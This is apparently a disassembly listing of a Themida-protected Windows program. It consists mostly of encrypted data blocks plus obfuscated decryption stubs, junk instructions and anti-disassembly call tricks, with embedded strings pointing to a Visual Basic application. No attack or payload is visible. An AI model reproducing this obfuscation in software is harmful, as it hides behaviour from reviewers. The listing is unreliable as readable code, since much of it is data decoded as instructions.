		dd 0EF3562Ah, 4F34176Bh, 41DC779Ah, 0F18E635Ch,	0A1BE13E0h
		dd 0F79C058h, 1AD4Ch, 53940000h, 8C391E01h, 3F243F59h
		dd 90E6098Ah, 3D5588B5h, 0BBB4991Ah, 84A99E6h, 65340015h
		dd 4B0D406Dh, 792A57D8h, 6B0B478Dh, 8D6A1BC8h, 0A266F544h
		dd 30D3B8EDh, 83D4075Ah, 6506BBA0h, 66F54492h, 9EB3E89Dh
		dd 5D42E57Bh, 0F544C13Ch, 0A9E52266h, 5E9E7317h, 0A66BEC07h
		dd 0D1740AD9h, 68C399BCh, 0D772083Bh, 0D7BC3DF2h, 16FB5E34h
		dd 35E623D0h, 66F461C2h, 0F7DC470Eh, 48C97E42h,	91E7E483h
		dd 64B4A1B6h, 0F8460009h, 0AB9093C5h, 745975F6h, 40000001h
		dd 0B6E3EFAAh, 189A097Ah, 5867808h, 0AEF27D8h, 91466B0Bh
		dd 0D87309ACh, 81CAA0C3h, 6E294CD7h, 24590EF3h,	9A56923Fh
		dd 0C142C158h, 6EAFECBh, 7E4EEEDAh, 0B3684DE8h,	57A0517Eh
		dd 0E066F4AAh, 0F187AA2Bh, 0E62B7156h, 11344A99h, 3F93CFFCh
		dd 0DAFDCE1Ah, 3E3BDF0Bh, 0B263B4D2h, 16D44431h, 55884600h
		dd 8D3A1F02h, 0F47B1BDCh, 2A5F1466h, 428DA9h, 49740000h
		dd 2E74216h, 4E53A455h,	27DC6D04h, 0F6A571F2h, 0D9FEAFDCh
		dd 1E12FBB0h, 9BD78469h, 8F11B480h, 0FB9C1D7Ch,	0ED050FFCh
		dd 52C8976Ch, 68FB9B49h, 82550633h, 0ED92FC72h,	0BC462338h
		dd 0AD000000h, 0B6E3EFAAh, 130E4679h, 4539F192h, 47FC6B0Bh
		dd 8EA9BF62h, 84732461h, 0AB66F542h, 336075F6h,	0EACF6A00h
		dd 0FB91B435h, 96888F69h, 0F82D8BAFh, 2DFEF213h, 0CE166F5h
		dd 3F1A707Fh, 0D324D512h, 5C66F52Dh, 451126A7h,	5CC79054h
		dd 608DC277h, 74F5682Dh, 1CCD0A47h, 66F52DDBh, 43BBFCECh
		dd 54184E70h, 4A7D1E9Fh, 85650175h, 3248EBD0h, 693EAE20h
		dd 70A51E67h, 9BB0743h,	9DE9E742h, 8117B471h, 0DE5FFBADh
		dd 5C2B00F9h, 60974885h, 0D76CE99Fh, 0C4D5A122h, 9E926516h
		dd 0E89D6CE9h, 0F2D586B3h, 3D6AF669h, 5618DF90h, 5B666F4h
		dd 66F455F2h, 0FC4883Dh, 0AABCC5DAh, 5B6E3EFh, 6B1118C2h
		dd 0D073580Dh, 678A9FBAh, 30513611h, 399F1F8Eh,	4DDAAFFh
		dd 5FC294C7h, 0D324C57Ah, 5C185EDFh, 50D384A7h,	73D6ACCFh
		dd 0B253B5Eh, 6F8FEEFEh, 0D9440F7Ch, 0D50A3FF4h, 16094DF0h
		dd 4633831h, 0A79FB1C7h, 0CCA72E51h, 0D0033065h, 0A1C2A6B8h
		dd 0EE266E89h, 2338B9h,	0B4B6E16Ah, 0FF3AE673h,	6B508533h
		dd 3F9C81B6h, 3, 53CED7A6h, 93361B3Eh, 0D2755AFDh, 16B99E81h
		dd 5E01E641h, 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h
		dd 0F7593E21h, 6A7468h,	24048900h, 299368h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 6155801h
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	2165h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	3373h
		mov	[esp], ebp
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dd 0E1C4E928h, 44A8097Dh, 0B81F52C4h, 6155D22h,	0E0FFC503h
		dd 78FF03B5h, 50BDC5FDh, 6A64D7C7h, 49A8446Ah, 14E6F1C6h
		dd 381E03C8h, 0D729607h, 6D7056B8h, 8E8h, 0E5054300h, 0BD7C795Dh
		dd 0F5BF9EFh, 684h, 0EEC78100h,	816F86EFh, 6E46C3h, 8B0F00h
		dd 68000000h, 1B5Ah, 658BA60h, 5E6168A8h, 0EC6BF66h, 0EE833FFh
		dd 2000000h, 0D977CB51h, 0EC9182D3h, 28D55C2Eh,	0EF8166CEh
		dd 5A5953AFh, 0EA81CA8Ah, 7BD7E409h, 71A5F781h,	0C2815292h
		dd 53EE1DA9h, 0DE8h, 0D4F14700h, 0D2BA1877h, 89139C53h
		dd 0BF0F73A0h, 0F2815FFBh, 5BD526B2h, 1FC78166h, 0E81389C7h
		dd 0Bh,	0BD3E25AEh, 5166AEA9h, 8BBF0C27h, 0EB8359FAh, 0E0816603h
		dd 814BBB14h, 48836CC7h, 1EE814Dh, 0F000000h, 1C85h, 0DE900h
		dd 0A8070000h, 0C3904882h, 4F072581h, 0E9536E65h, 17h
		dd 2DD5ABFBh, 800F56h, 0E9000000h, 0FFFFFF58h, 72C7553Ch
		dd 0E8AB34E3h, 7, 0C8DC49AEh, 8B1AD84Dh, 81F55ECEh, 60E6C6h
		dd 2DCF8000h, 8BF8FF2Bh, 0BA663E04h, 0C081CD13h, 4C14EF6Bh
		dd 0F44ABA66h, 60FAC081h, 0B86024CDh, 2F98C25Fh, 3BC08161h
		dd 0E84A54DCh, 5, 18E62974h, 8B0FC3h, 5A000000h, 24D18050h
		dd 813E048Fh, 81C2B8DBh, 0C9816622h, 0EF83947Ah, 0BBEA8104h
		dd 81493EE6h, 0FF9F90FFh, 0A4850FFFh, 60FFFFFFh, 8A4AF380h
		dd 0FE861E2h, 80000000h, 0BE6B5D8Fh, 0F5F210FAh, 885E625Ah
		dd 0E68A4594h, 38C0F5Bh, 0F000000h, 0C381D7BFh,	6D69h
		dd 6875C980h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B0E3E
; ---------------------------------------------------------------------------
		db 1Dh,	1, 0ADh
		dd 55610E3Ch, 0B7FE594Ah, 5A7BAFFAh
		db 68h,	84h
; ---------------------------------------------------------------------------


loc_5B0E3E:				; CODE XREF: Themida_:005B0E28j
		pop	esi
		mov	dh, bh


loc_5B0E41:				; CODE XREF: Themida_:005B0EA3j
		mov	edi, [ebx+esi]
		mov	edx, 643F9969h
		sub	edi, 464CF427h
		movsx	ecx, cx
		add	edi, 5F507D33h
		movsx	eax, dx
		xor	edi, 2AB824D6h
		jp	loc_5B0E68
		clc


loc_5B0E68:				; CODE XREF: Themida_:005B0E61j
		push	edi
		js	loc_5B0E7A
		jle	loc_5B0E7A
		mov	eax, 63A87BA6h


loc_5B0E7A:				; CODE XREF: Themida_:005B0E69j
					; Themida_:005B0E6Fj
		pop	dword ptr [ebx+esi]
		call	near ptr loc_5B0E8F+4
		call	far ptr	5B98h:1C6B0B5Bh
		mov	cl, 0BFh
		adc	esp, [edx+1Dh]
		cmpsd


loc_5B0E8F:				; CODE XREF: Themida_:005B0E7Dp
		mov	ecx, 0F587E1Eh
		mov	bh, 0D2h
		pop	edx
		sub	esi, 4
		mov	dx, cx
		cmp	esi, 0FFFF934Ch
		jnz	loc_5B0E41
		push	ebx
		jmp	loc_5B0EB7
; ---------------------------------------------------------------------------
		db 0AFh
		dd 54B2A13Ah
		db 0ACh, 38h, 25h
; ---------------------------------------------------------------------------


loc_5B0EB7:				; CODE XREF: Themida_:005B0EAAj
		pop	ecx
		lea	ecx, [ebp+615609Ah]
		push	0
		push	ecx
		call	sub_5B0EC9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0EC9	proc near		; CODE XREF: Themida_:005B0EC1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B0EC9	endp

; ---------------------------------------------------------------------------
		db 8Ch,	0F0h, 9Dh
; ---------------------------------------------------------------------------
		mov	[ebp+60F2C65h],	ecx
		add	ah, 16h
		sbb	ax, 199Ch
		mov	dword ptr [ebp+60F07C1h], 5A80h
		mov	[ebp+60F18FDh],	eax
		mov	dword ptr [ebp+60F2491h], 0
		mov	[ebp+60F2A29h],	edi
		push	dword ptr [ebp+60F3469h]
		push	0
		push	ecx
		call	sub_5B0F1B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F1B	proc near		; CODE XREF: Themida_:005B0F13p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5B0F1B	endp

; ---------------------------------------------------------------------------
		test	dword ptr [esi-34h], 0A94C80C1h
		lahf
		xchg	eax, esi
		inc	ebp
		mov	si, bx
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	esi
		call	sub_5B0F49
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F49	proc near		; CODE XREF: Themida_:005B0F41p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B0F49	endp

; ---------------------------------------------------------------------------
		cmp	edi, ebp
		fstp	dword ptr [ebx-6A00FF96h]
		push	ecx
		xor	al, 0Fh
		push	es
		mov	eax, eax
		jmp	short loc_5B0FA2
; ---------------------------------------------------------------------------
		db 0ADh, 0CDh, 1Ch
; ---------------------------------------------------------------------------
		sbb	cl, [ebx+ebp+66h]
		mov	ah, 9Fh
		retf
; ---------------------------------------------------------------------------
		db 15h
		dd 62E49013h, 569254F8h, 0FB13A6ABh, 0DAE3D8ECh, 0A4687AFFh
		dd 84D49063h, 97C5AB4Bh, 0AF967997h, 0A65DC0E7h, 8A1B826Dh
		dd 97FE3946h
; ---------------------------------------------------------------------------
		push	es
		inc	ebp


loc_5B0FA2:				; CODE XREF: Themida_:005B0F67j
		lea	ecx, [ebp+61561CCh]
		push	0
		push	ecx
		call	sub_5B0FB3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0FB3	proc near		; CODE XREF: Themida_:005B0FABp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B0FB3	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 0FA84A50Ah, 5E87Eh, 62A50000h, 8BEE422Fh, 8D295ED0h
		dd 60F2CBDh, 2C658D89h,	6A060Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0D7E557C3h, 334BEC5Ch
		dd 8501DBBAh, 60F2EC9h,	85C7DA8Bh, 60F07C1h, 5E48h, 2199B58Bh
		dd 85C7060Fh, 60F2491h,	0
; ---------------------------------------------------------------------------
		movsx	edi, bx
		push	dword ptr [ebp+60F0B09h]
		push	0
		push	edx
		call	sub_5B103C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B103C	proc near		; CODE XREF: Themida_:005B1034p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B103C	endp

; ---------------------------------------------------------------------------
		pop	edx
		fstp	qword ptr [ecx-2809CB80h]
		ja	short loc_5B109A
		push	edi
		push	esi
		jmp	loc_5B1064
; ---------------------------------------------------------------------------
		dd 0D1431F53h, 21F38B24h
; ---------------------------------------------------------------------------


loc_5B1064:				; CODE XREF: Themida_:005B1057j
		pop	esi
		pop	eax
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	ebp
		call	sub_5B1077


loc_5B1074:				; CODE XREF: Themida_:005B109Bj
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1077	proc near		; CODE XREF: Themida_:005B106Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h


loc_5B1084:				; CODE XREF: Themida_:005B10C1j
		inc	ebp
		push	ebp
		retn
sub_5B1077	endp

; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		jmp	short loc_5B10B3
; ---------------------------------------------------------------------------
		dw 9B5h
		dd 6A060F23h, 5195FF00h, 8B060F34h
		db 0C0h, 0EBh
; ---------------------------------------------------------------------------


loc_5B109A:				; CODE XREF: Themida_:005B1053j
		pop	edx
		jmp	short loc_5B1074
; ---------------------------------------------------------------------------
		db 12h,	38h, 0DBh
		dd 0E06846h, 0A0D5522h,	413E61C9h, 0CF50DC71h
; ---------------------------------------------------------------------------
		retn	709Ch
; ---------------------------------------------------------------------------


loc_5B10B3:				; CODE XREF: Themida_:005B1088j
		fistp	dword ptr [esi]
		push	8BDB6B28h
		mov	eax, 0CC4CB56Ch
		out	17h, eax
		js	short loc_5B1084
		mov	ah, 50h
		aaa
		fxch7	st(5)
		mov	byte ptr [ecx],	30h
		pop	es
		adc	[ecx], bh
		sal	byte ptr [ebp-546962B8h], 1
		db	66h
		xor	al, 0CCh
		iret
; ---------------------------------------------------------------------------
		dd 0E2BC208Eh, 9ACB3AFh, 12E86F39h, 503ADC53h, 21215D1Dh
		dd 0B806503Dh, 0D23AF621h, 170E9D3h, 0FD5C0000h, 5C511EEh
		dd 3A4377E7h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h
		dd 652E6465h, 6578h, 3Ah dup(0)
		dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h
		dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h
		dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h
		dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h
		dd 65h,	4 dup(0)
		dd 5BE90000h, 6800001Eh, 61565F6h, 0FA1B0DE9h, 671268FFh
		dd 3E90615h, 68FFFA1Bh,	6156824h, 0FA1AF9E9h, 68EC68FFh
		dd 0EFE90615h, 68FFFA1Ah, 615692Bh, 0FA1AE5E9h,	6A5568FFh
		dd 0DBE90615h, 68FFFA1Ah, 6156AA8h, 0FA1AD1E9h,	6B2468FFh
		dd 0C7E90615h, 68FFFA1Ah, 61572D2h, 0FA1ABDE9h,	736C68FFh
		dd 0B3E90615h, 68FFFA1Ah, 6157421h, 0FA1AA9E9h,	754E68FFh
		dd 9FE90615h, 68FFFA1Ah, 61575B6h, 0FA1A95E9h, 76B268FFh
		dd 8BE90615h, 68FFFA1Ah, 6157762h, 0FA1A81E9h, 780D68FFh
		dd 77E90615h, 68FFFA1Ah, 6157F12h, 0FA1A6DE9h, 7FF068FFh
		dd 63E90615h, 68FFFA1Ah, 61580CEh, 0FA1A59E9h, 88A3B6FFh
		dd 1A055073h, 0ADB0E205h, 3E217598h, 0D7720629h, 7D0FA1C2h
		dd 0A2D42E5h, 9ABDD275h, 2E5166F9h, 19E8FD58h, 0EA3CBB6Ch
		dd 0FCF366EEh, 1A3D53E3h, 999ABAEDh, 4C3166C1h,	4378D3A9h
		dd 243ADDC2h, 7920EC01h, 0F7B2C59h, 0DD6B0B56h,	0F778EBAAh
		dd 5FFA9033h, 0AB90C57Ah, 0F536718Ah, 35106766h, 77EAAD50h
		dd 0B0CF2492h, 6EFD4221h, 0D98197h, 45EA46h, 0AAD10000h
		dd 5B6E3EFh, 6B0B6799h,	8D3A1FD4h, 3E23065Ah, 94670889h
		dd 4466F527h, 0E4471B2Ch, 5127CAAFh, 0B081D3F6h, 0E0957AE5h
		dd 358C6ABh, 0C955E64h,	60BAB6BCh, 78074C2Bh, 0E577A1h
		dd 10FF446h, 53DB0000h,	0B0ED1A3Dh, 0A748DB7Dh,	6D044E50h
		dd 4E2ACD7Eh, 50056D04h, 7156D78Ch, 729FBACEh, 4E738435h
		dd 0A2536D04h, 6D044E55h, 0AC6125DAh, 6F54CF89h, 0B15439BAh
		dd 0F89B80DBh, 85B2C762h, 34193C52h, 56A1527Fh,	0E16D044Eh
		dd 350AAB2Ch, 216D044Ah, 0A2236BE5h, 60A8E1E9h,	89A1E743h
		dd 0C6E96A9Fh, 5D8095B0h, 0B1D3607h, 0DD055B7Ch, 0DF22780h
		dd 0E448AF60h, 3AEF6D03h, 9FEBD005h, 6EABD8FAh,	0E4778031h
		dd 0BC06D03h, 30B1ACE8h, 0AE4878Fh, 2439EE6Bh, 4609BBF7h
		dd 0CBC8A98h, 0F8DABF8Bh, 0F1991ACBh, 19CE6505h, 0C172AFECh
		dd 6CE60E36h, 9BDB5501h, 6C7C9E72h, 0FF93B637h,	4C24475Ch
		dd 75859EF2h, 0DA0FB0F5h, 5CA87CFh, 39967B8Eh, 1B67h, 153049h
		dd 90A5B8DDh, 23382B6Dh, 0B4C95400h, 495EF991h,	72069628h
		dd 0C89FC2D7h, 6235586Dh, 0B1C7EAFFh, 5B28196h,	0EEE8A354h
		dd 7C958C66h, 71C3F53h,	96AB8EE4h, 20D498Dh, 5EC19457h
		dd 17E49132h, 0CCFCA96h, 9C81DBEEh, 0E3B70B9h, 0AF6415Dh
		dd 124FFC6Bh, 0F4F69661h, 4BECA166h, 66F4F6ACh,	0B499CE83h
		dd 0F4F76893h, 106FB466h, 9F0F09h, 7E184B46h, 0C849FEE3h
		dd 0EAACh, 0C499300h, 44D9C5Bh,	0FD60346Dh, 0E0038439h
		dd 27CAAF8Ah, 6613F853h, 15FA5D33h, 13EDF60h, 0D76D044Ah
		dd 6E91A681h, 0AB583D18h, 5C41DC78h, 3F5A26A7h,	4A0DEA9Bh
		dd 6D226D04h, 71A0E41h,	11462FC6h, 7CE7B1E4h, 0F91DCEFBh
		dd 0CB6B0AC8h, 5DD5D48Fh, 59DA4D3Ah, 76B3E095h,	0F46132C5h
		dd 0C748FD66h, 28B3E6B2h, 4FC7FB00h, 6B98CD29h,	81021D38h
		dd 0B0E41754h, 9213C8ADh, 643A7F1h, 0A3F22565h,	0C67B3FC0h
		dd 37126699h, 0D06BFF22h, 581E7C5h, 2582678Eh, 1A4Bh, 14290C65h
		dd 0A4B9A4F1h, 374CD781h, 0C8DD4014h, 556ACDA5h, 7E12A234h
		dd 0CCA3C6DBh, 66315469h, 0ADC3E6FBh, 0F9A6758Ah, 0EEE6AF48h
		dd 78918866h, 0F0D00C49h, 0ABFF87AFh, 4B1BDC7Dh, 5F146D04h
		dd 84A7BBDEh, 13364C6Fh, 7EE1B3E6h, 53DFE8FDh, 92351A3Dh
		dd 784459FCh, 8CAFC321h, 1361169h, 542723D4h, 0F9AE6B0Bh
		dd 3408F314h, 0CF1466F5h, 0D7AF69B0h, 6EAB4600h, 0F53C3ABDh
		dd 0BF40F566h, 0F0A3h, 0D498A00h, 0FE02D4Dh, 0CDBC3DADh
		dd 735F3AE6h, 64599546h, 0F1946B0Bh, 26DBC09Bh,	0C591C4F1h
		dd 81D2755Ah, 0CF04B99Eh, 0D6F7984Eh, 0FDB38FC6h, 5809369Ch
		dd 9875DC42h, 0F5B40F5h, 6A1B488Ah, 967B926Eh, 0A6E310C5h
		dd 7B7302F5h, 4C782D9Ah, 9F7C81F1h, 0B7E46552h,	6B8C3D7Ah
		dd 0C49A7BD6h, 156B8E0Fh, 2B101344h, 0D7144176h, 7BD5D126h
		dd 30B1669Ah, 0B1EE1Bh,	9A7BD5F7h, 0E70A8B40h, 0C7ABB691h
		dd 435C93CBh, 1939015Eh, 0E2770000h, 460F3247h,	0F1A3C6DBh
		dd 1E36596Eh, 0B7CBEE03h, 0CC5E7F94h, 0EC01243Ch, 8297B2C9h
		dd 1429345Fh, 0ABC09BF1h, 797E2FDCh, 0BE66EEE6h, 1649AEC7h
		dd 47FCE17Ch, 6ACDA3C6h, 0A84F003Dh, 276D044Dh,	7746997Fh
		dd 7C31F565h, 0CFCA16FBh, 2525D603h, 0B06B0B0Fh, 7CB9E6FBh
		dd 0F4EF2CCBh, 0CD4E0366h, 802C87C4h, 0DB8CB919h, 6B0B6A13h
		dd 7ED9AEE1h, 0C560F699h, 964B0F90h, 21D3669h, 1F05AD6h
		dd 0C04180C3h, 4580690Ah, 0EAAFE41Dh, 0F288BBE8h, 0F8A9D657h
		dd 0E9E3CDA2h, 0C0F320D5h, 23088994h, 0E310C2D7h, 3D2073A6h
		dd 8122A358h, 0E3ED8457h, 89BCE99Eh, 204358F3h,	0B2E4EF4Ah
		dd 720F2179h, 1871308Dh, 2A3F0000h, 0BED7FA0Fh,	296B8EA3h
		dd 56FE2136h, 0FF93B6CBh, 9426475Ch, 0B4C96C04h, 4A5FFA91h
		dd 0DCF16C27h, 7388A3B9h, 0B146F7A4h, 8666EEE5h, 3D53768Fh
		dd 0B37F0F1Ah, 0AE938E1Bh, 183251h, 50EB7E00h, 0E27D183Bh
		dd 75E8AACDh, 6193D60h,	9FBACEF1h, 45D7698Ah, 0D2F50A2Dh
		dd 62859ABDh, 0F6192E31h, 0E1B0C560h, 0E5748334h, 0C4BB66EEh
		dd 233D53ABh, 3FFA3D53h, 0AB90C5EFh, 6B983A5Fh,	1F041F38h
		dd 0D3243A73h, 1D5294D2h, 0E0C558FAh, 0CC7DAA2Bh, 6B0B3E8Ah
		dd 120D497Ch, 56C98A2Dh, 687BC71h, 89788D42h, 95D10E17h
		dd 74CEC43Fh, 0A651F22Fh, 9166F4C9h, 0A8F5BDCh,	315F9BC8h
		dd 0C136E74Bh, 7666F4ACh, 0FC2695C1h, 0D3103DBEh, 5460CD97h
		dd 4D7961EBh, 4DDB4F52h, 0A94ACB55h, 64FB8C45h,	41BDDB17h
		dd 671DDD64h, 0B76D22E6h, 5B9C4D8Ah, 0D46D0399h, 50FD9E1Fh
		dd 7FF1AC41h, 91B4CA1Ah, 1C7E2F5Ch, 5BCE6355h, 2475C1A6h
		dd 74481AEh, 5D2CA156h,	11C37D2h, 0C72F913Dh, 0CF3051C6h
		dd 6078199Ah, 2ED06E7Fh, 7EB740F1h, 0CB80D04Eh,	0A4D1864Ah
		dd 2672B67h, 7497AD36h,	0A39D3092h, 6BEC217Fh, 2173248h
		dd 5B689DFh, 0D04F21F2h, 0AA5B883Dh, 0D04F224Dh, 0EDF82DE2h
		dd 12AE9FE7h, 8258267h,	0A8000017h, 3E6176D1h, 0D4F70C17h
		dd 678A9F82h, 0FC1F342Fh, 8BACC164h, 381367F9h,	0D06B0023h
		dd 64FF98BBh, 0F3562C4Fh, 0B1620FDEh, 66EEE446h, 0D5E1FAF1h
		dd 6D044E22h, 45DCB30h,	4E6C8F6Dh, 0DEE6D04h, 0CB6D044Eh
		dd 8B8792B5h, 0F78E1BB3h, 16B5B512h, 66FB0000h,	0CA8BAEC3h
		dd 751F4257h, 0E2B2D5EAh, 33476A7Fh, 50E20318h,	788DA8C0h
		dd 61B3E55h, 98ADB0E3h,	273C1F75h, 0FDFAAB58h, 3266EEE3h
		dd 0EFAA223Bh, 867AB6E3h, 64FF965Fh, 0F9ECA7Fh,	0F3CBDF0h
		dd 13E495D2h, 1C6D03FFh, 6E893A67h, 0C96D03FFh,	0BCF29314h
		dd 0A6B0B0Eh, 18DF90CDh, 1F66F4EFh, 0EF2EC96Ah,	0D6AA66F4h
		dd 79FAAF73h, 0FBF500B5h, 5B8814ECh, 16391976h,	0E2770000h
		dd 460F3247h, 0F1A3C6DBh, 1E36596Eh, 0B7CBEE03h, 0CC5E7F94h
		dd 0EC01243Ch, 8297B2C9h, 1429345Fh, 0ABC09BF1h, 797E2FDCh
		dd 0BE66EEE3h, 3D53AEC7h, 5588351Ah, 0FC672F00h, 0A2DE2C7h
		dd 3356D74Ah, 0D6490C5Dh, 22073CF1h, 6449D47Fh,	0AB90ABC1h
		dd 2F8EDDB2h, 0A77E0D62h, 4C0FF171h, 28FAh, 0C88ABD00h
		dd 3ABB7055h, 4E26D531h, 6BA86D04h, 44E3DBAh, 0BC3DF26Dh
		dd 5368C399h, 5FCBBEB2h, 429F846Dh, 15AFh, 1A3D53A9h, 22B0E935h
		dd 0D185B8F5h, 0F72C3760h, 51CDD576h, 0F3A86B0Bh, 4B8712DEh
		dd 0E7AEE11Eh, 3224D384h, 560B66F5h, 0CBFFA021h, 0A64FC48h
		dd 8BCD7055h, 19568398h, 4168F68h, 72F3A86Dh, 41729D1h
		dd 2770A36Dh, 21A2573Ch, 9FCC57FEh, 0B031146Ch,	42DD789Bh
		dd 0B38EE215h, 416F502h, 50853A6Dh, 0EA0DBE6Bh,	456D0416h
		dd 0F5DA5B90h, 3B200352h, 8E6AFC98h, 4BEB9550h,	0BC5F4479h
		dd 376184A7h, 0A59B472Ch, 84902C27h, 5A29FE16h,	2425D283h
		dd 550A6D04h, 76155A20h, 7681326Fh, 0C16D0424h,	2D688B0Ch
		dd 17C80532h, 6D0423E0h, 84FAB57h, 58DEBADEh, 608DA223h
		dd 12F76A2Dh, 29EFDC5Dh, 424C0FA9h, 242h, 0AF80D205h, 61467BE6h
		dd 0AA222BACh, 83B6E3EFh, 0B3684DD0h, 1E540532h, 0F06B0B44h
		dd 9927F6B4h, 1E9F8BFDh, 1DC0A55Ah, 0ADD0E578h,	0E39075E8h
		dd 0FE7FDAB0h, 0F47A9E5Dh, 13704566h, 899E81D4h, 9CC4205Ch
		dd 0CEB73F4Bh, 2CF81Eh,	8001C803h, 0C0EDE5B4h, 0FC01D30Fh
		dd 886D2264h, 95AA8DE5h, 0C9AE2C68h, 9AAF6A81h,	0CF62F619h
		dd 432D91Eh, 74A95E6Dh,	328F6E8Fh, 83586D04h, 0B893E7E4h
		dd 124376A3h, 0D7C28E0Fh, 0E292CEFBh, 89E5719Ch, 0C879A627h
		dd 6B0A9E4Ah, 0DE1B48FDh, 0F47DCA2Dh, 0E692FD66h, 4C19CC7Bh
		dd 6D52D388h, 56C98DC0h, 79DCB2D5h, 192B4164h, 23CF2346h
		dd 7EC2142h, 0F4B511E6h, 96B1C766h, 0DB460EB1h,	543388F6h
		dd 0FD306D85h, 8146C75Ah, 0AC8FE5E2h, 3E217497h, 849FB659h
		dd 0CF251B57h, 4B082ACh, 13589E83h, 43DE7774h, 0E8D7412Eh
		dd 50834600h, 0F3642507h, 0C6384629h, 0D4F7AC91h, 11D9E81h
		dd 96h,	1C3F53E8h, 59FC9437h, 45812E74h, 8592EBFBh, 0BD8203AAh
		dd 0EE4921AEh, 0F02CECD9h, 73414C0Fh, 28000000h, 9C5B0C49h
		dd 936D044Dh, 243A5DDEh, 0CBA1D401h, 670AEF70h,	0B513611h
		dd 0E420B9C6h, 8299F176h, 9E590AA7h, 996D0449h,	0D182AFE4h
		dd 6D044A26h, 0B8DB5C11h, 857287A2h, 4C0FED93h,	31D8h
		dd 675F9B00h, 3C80EE75h, 0AA040D8Eh, 0BD3AEBEFh, 726D044Dh
		dd 0AA5B88BDh, 6B0B7E68h, 24452ADFh, 66F51DD7h,	9A630045h
		dd 4600C17Eh, 9DEFh, 0EFAAD600h, 1105B6E3h, 5C6B0B58h
		dd 8C3D7AA7h, 66F5386Bh, 0A98E0FC4h, 0BFD44F06h, 8166F99Ch
		dd 95BEB7DEh, 0BBF0A58Ah, 0FF6233D6h, 42DD771Ah, 0F542B15Dh
		dd 2E0E26CBh, 3D9CEB40h, 96553277h, 44DF76FFh, 6075AA5Fh
		dd 46A573h, 46C646h, 0AAAD0000h, 4B5E2F0h, 12FBB0D3h, 6182671Ch
		dd 0ED044F9Ah, 280D283Eh, 654AED85h, 52F58DB0h,	0FE8D626Dh
		dd 0F29166DFh, 57844E4Ch, 1891891Bh, 68E90E6Bh,	0B5CBFE3Bh
		dd 67701192h, 0D092FC4Ch, 729061Bh, 90000000h, 3C99h, 1530000h
		dd 0FF96391Eh, 692C4F64h, 9ED34E08h, 0B12A6DB9h, 3270B1A5h
		dd 92BFF4A4h, 0BCB0456h, 39BAF73Ah, 64BD3354h, 2CD992FBh
		dd 46C762F9h, 0FD1BE281h, 6E4C1042h, 0CBBh, 0E5EDAA55h
		dd 7A95DF00h, 64A9E4AFh, 0BD1AFE07h, 3853C264h,	3A000000h
		dd 0EE411649h, 44DBA3Dh, 8BC0756Dh, 0A470F1A6h,	1B2DFF3h
		dd 6D044DF6h, 235F8C41h, 6C8A3E03h, 8469EA62h, 76A93663h
		dd 0CE9DE2C4h, 9CE1E137h, 2EA8AA2h, 0AA710000h,	0A5DCE5EDh
		dd 7C16491Ch, 0D7BC9FF3h, 5308ED22h, 7ED9AFD2h,	49B7C075h
		dd 65E64116h, 0FE9B078h, 5DBD4Fh, 4D800000h, 792E1336h
		dd 0EDAAEFF8h, 0C49DCE5h, 4DD91ECFh, 0A95E6D04h, 44DEF08h
		dd 1293486Dh, 1E75A8E5h, 0E119BA3Bh, 546D044Dh,	1649969Fh
		dd 0BE39EA7Dh, 796D044Dh, 0E10E8FC4h, 1E0153C8h, 0F403B4F1h
		dd 3B6D044Dh, 49FC0586h, 62E37E16h, 339917A0h, 0DC000000h
		dd 8E73EEA9h, 0AA4F58D9h, 49DCE5EDh, 44E6298h, 7E2F6C6Dh
		dd 6D044E79h, 0CB8809BEh, 3049FD06h, 271A0D49h,	4A76E9ACh
		dd 20A1A7A3h, 0BFC85BFDh, 16492BB4h, 0C465E641h, 0D50B7026h
		dd 80E47E12h, 0D6EC8FF9h, 0E224D384h, 560BB4F4h, 0C954FE21h
		dd 0CDFA2FE4h, 8166F99Ah, 0E1D423D4h, 0A65BB4F4h, 5D714571h
